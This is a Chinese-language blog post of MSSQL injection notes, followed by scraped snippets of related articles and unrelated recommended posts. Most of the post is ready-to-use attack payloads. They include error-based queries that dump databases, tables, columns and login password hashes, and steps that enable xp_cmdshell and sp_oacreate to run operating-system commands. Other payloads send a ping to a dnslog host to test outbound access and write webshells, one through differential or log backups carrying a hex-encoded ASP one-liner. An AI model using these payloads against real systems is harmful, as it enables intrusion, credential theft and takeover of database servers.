前置知识:

登录名:登录sql server服务器的用户,而不是操作“数据库用户名”。

固定服务器角色:就是上面登录名所属的权限组。其中重要的就是“sysadmin”角色,具有服务器的全部操作权限

数据库用户:操作数据库的用户名,和登录名关联。例如:“dbo用户名” 关联 “sa登录名”,所以当执行SELECT USER; 的时候显示的是 dbo

数据库角色:数据库用户所在的组。读,写,db_owner等一些角色。

架构:数据库对象(表,视图,存储过程)的容器,类似命名空间:

那为什么我们访问一个表的时候,比如写类似于这种语句:SELECT * FROM Table不需要制定架构名称呢?

数据库中对象的全名称写法应该是:(服务器名.数据库名.架构名.对象名), 那是因为MS SQL内部解析的机制是这样的(你不写明架构名的话):

第一步先在sys架构中找这个表,找不到就在默认架构中找,再找不到就跑到dbo架构中找。

创建一个用户的时候,MSSQL都会让你选择一个默认架构,如果你不选的话,那就是dbo。

dbo架构是怎么来的?创建出来的---还记得建立数据库的时候会创建一个dbo的用户么,就是那个时候自动给你添加了一个同名dbo架构。

视图:视图是一个虚拟表,实质是储存的sql语句。假如你要联合多个表查数据,那么sql无疑会相对复杂,每次都要输入这么复杂的sql语句?

视图就是可以将这个sql记录起来,每次查视图就是执行这条sql语句了。我们在注入中,查询的主体还是视图。

注入语句:

mssql中当存在数据类型转化时,就会出现错误,所以我们可以利用来回显数据。

注入基本信息:

AND 1%DB_NAME(7);  数据库  db_name函数,控制其中的数字就可以指定爆出第几位的库名。使用任何一个 运算符 和 整形 运算,都会导致报错。

AND 1^@@VERSION  版本信息

AND 1/user       当前用户

select is_srvrolemember('sysadmin') 判断用户是否属于 “sysadmin”服务器角色(最高权限)

SELECT quotename(name) FROM master..syslogins FOR XML path('');  查询所有登录名。返回结果是一条记录,得益于:FOR XML 语法,将数据转化成xml数据

暴库语句:

SELECT quotename(name) FROM master..sysdatabases FOR XML PATH(''); 查询所有的库,返回一条记录,原因同上。

爆表语句:

SELECT quotename(name) FROM test..sysobjects WHERE xtype='U' FOR XML PATH('');

test..sysobjects:test是需要查询的数据库名,两个点中间省略的是架构名,sysobjects是视图名。

xtype='U':中的U表示 用户表

FOR XML PATH(''):如上解释,为了让多行数据作为一行返回。

select top 1 name from db_name().dbo.sysobjects where xtype='U' and name not in (select top 2 name from test.dbo.sysobjects where xtype='U')

爆列语句:

SELECT quotename(name) FROM test.sys.columns where object_id = OBJECT_ID('user') FOR XML path('');

OBJECT_ID('user'):中的user就是需要爆的表名。

test.sys.columns:test就是对应的库名

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'user');  查询列,user是表名,只能查询当前数据库,和下面那句类似。
SELECT name FROM syscolumns Where id = Object_Id('user')

查询数据:

SELECT * FROM [user] FOR XML path('');

查询登录账户信息:

SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins          2000版本
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins    2005版本

通过延迟判断是否支持多语句:

';waitfor delay '00:00:10'--  延迟10秒

关于xp_cmdshell 存储过程:

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

//判断XP_CMDSHELL是否存在,默认存在,sqlserver 2005版本开始,默认禁用。

SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 

开启:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell',1;

RECONFIGURE;

上面4条语句,直接一次执行即可。

使用:

执行ping dnslog记录判断是否能访问外网:

';exec master..xp_cmdshell "ping xxx.dnslog.cn"--

xp_cmdshell是有回显的,但是如果程序没有处理对应的回显,那么我们可以将回显insert into表中,在查询表获取回显。

CREATE TABLE tmp(info text,dir text); 创建tmp表,存在info,dir两个字段,类型为text。

insert into tmp(info) exec master..xp_cmdshell "whoami"  查看当前数据库权限

insert into tmp(dir) exec master..xp_cmdshell 'for /r d:\ %i in (index*.aspx) do @echo %i ' 搜索文件,* 不能省略

;exec master..xp_cmdshell 'echo ^<123^> > d:\\WWW\\1.aspx' ;  写入一句话,注意,写入内容中的<>需要使用 ^ 转义。

drop table tmp; 删除创建的tmp表。

mssql中没有mysql中的limit 语法,只有使用top来限制条数。

select top 5 * from table; ==  select * from table limit 5;

select top 5 * from table where name not in (select top 10 * from table)  ==  select * from table limit 5,10;

*******

另外一种执行命令有回显的方法:

declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;

需要启用sp_oacreate:

exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

通过备份getshell:

差异备份,log备份:这二者都是基于完整备份下的,也就是说必须存在完整备份下才可使用。(不影响我们操作,因为我们就可以进行完整备份,注意:大数据可能会导致卡死一说。)

权限:无须属于固定服务器中的“sysadmin”角色,属于数据库角色“db_owner”即可。

payload:

差异备份:

backup database test to disk = 'c:/1.bak' with init
create table tmp([tmp] varchar(2000))
insert into tmp([tmp]) values (0x3C25657865637574652872657175657374282261222929253E)
backup database test to disk='c:/d.aspx' WITH DIFFERENTIAL,FORMAT;

log备份:

backup database sql to disk = 'c:/2.bak' with init
alter database sql set RECOVERY FULL
create table cmd ([tmp] varchar(2000))
insert into cmd([tmp]) values (0x3C25657865637574652872657175657374282261222929253E)
backup log sql to disk = 'c:/aaa.aspx'

文章持续更新。。。

MSSQL 注入笔记的更多相关文章

  1. 收集的MSSQL注入笔记

    ①判断数据库类型 and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) ...

  2. 渗透测试学习 九、 MSsql注入上

    MSsql注入漏洞详解 (Asp.Aspx站,常见于棋牌网站.考试网站.大学网站.政府网站.游戏网站.OA办公系统) 大纲:msSQL数据库调用分析 msSQL注入原理 msSQL注入另类玩法 msS ...

  3. 一个罕见的MSSQL注入漏洞案例

    一个罕见的MSSQL注入漏洞案例 这里作者准备分享一个在去年Google赏金计划中发现的相当罕见漏洞,也是作者在整个渗透测试生涯中唯一一次遇到的. 目标网站使用了微软 SQL Server 数据库并且 ...

  4. MSSQL注入常用SQL语句整理

    很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句. 手工MSSQL注入常用SQL语句 and exists (select * from ...

  5. MSSQL注入:显错注入及反弹注入

    前言: MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路. MSSQL的显错注入操作: 以联合查询为例: 猜 ...

  6. 啊D工具语句 适合Access和Mssql注入

    啊D注入工具中使用的SQL注入语句 爆user )) )= | ***** ?Id)) : ?Id : Id 检查SA权限:)))) 爆当前库: )) -- 检查是否为mssql数据库:and exi ...

  7. mssql注入指令

    and exists (select * from sysobjects) //判断是否是MSSQL and exists(select * from tableName) //判断某表是否存在..t ...

  8. mssql 注入

    注入查阅 .返回的是连接的数据库名 .作用是获取连接用户名 .将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db ...

  9. mssql注入中的储存用法删除与恢复

    删除: use master exec sp_dropextendedproc 'xp_cmdshell' exec sp_dropextendedproc 'xp_enumgroups' exec ...

随机推荐

  1. 手写系列:call、apply、bind、函数柯里化

    少废话,show my code call 原理都在注释里了 // 不覆盖原生call方法,起个别名叫myCall,接收this上下文context和参数params Function.prototy ...

  2. 基于socket的netty demo

    前面一文说了 基于http的netty demo 和http不一样,http可以用浏览器来充当客户端调用,所以基于socket的netty,必须要编写客户端和服务器的代码 实现功能: 客户端给服务器发 ...

  3. 元旦在家撸了两天Seata源码,你们是咋度过的呢?

    撸Seata源码 2020年12月31日晚23点30分,我发了2020年的最后一个朋友圈:假期吃透Seata源码,有组队的吗? 不少小伙伴都来点赞了, 其中也包括Seata项目的发起人--季敏大佬哦! ...

  4. git基础-撤销操作

    ---恢复内容开始--- 撤销操作 在任何阶段,你都有可能想要撤销某些操作. 当我们提交完了代码,发现漏掉了几个文件没有添加,后者提交信息写错了,此时,可以运行--amend选项的提交命令尝试重新提交 ...

  5. Linux设置系统时区

    https://www.xlsys.cn/1741.html 如果你的 Linux 系统时区配置不正确,必需要手动调整到正确的当地时区.NTP 对时间的同步处理只计算当地时间与 UTC 时间的偏移量, ...

  6. 第6章 未来的函数:生成器和promise

    目录 1. 生成器函数 1.1 定义生成器函数 1.2 迭代器对象 1.3 对迭代器进行迭代 1.4 把执行权交给下一个生成器 2. 使用生成器 2.1 用生成器生成ID 2.2 用迭代器遍历DOM树 ...

  7. 人生苦短我用Python,本文助你快速入门

    目录 前言 Python基础 注释 变量 数据类型 浮点型 复数类型 字符串 布尔类型 类型转换 输入与输出 运算符 算术运算符 比较运算符 赋值运算符 逻辑运算符 if.while.for 容器 列 ...

  8. HP(惠普)服务器 修复 Intelligent Provisioning(摘录)

    摘录自:https://www.xxshell.com/1219.html 我们在给惠普服务器安装操作系统和配置RAID最常用的就是通过F10(Intelligent Provisioning)进行, ...

  9. 图像质量评估论文 | Deep-IQA | IEEETIP2018

    主题列表:juejin, github, smartblue, cyanosis, channing-cyan, fancy, hydrogen, condensed-night-purple, gr ...

  10. Linux Bash Shell常用快捷键

    Linux Bash Shell常用快捷键 table { margin: auto } 快捷键 功能 tab 补全 ctrl + a 光标回到命令行首 ctrl + e 光标回到命令行尾 ctrl ...